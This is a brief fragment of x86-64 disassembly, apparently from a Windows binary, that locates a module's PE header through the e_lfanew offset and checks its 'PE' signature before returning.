jae 0x140023f00
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140023f08
mov rax, rdx
add rsp, 0x18
ret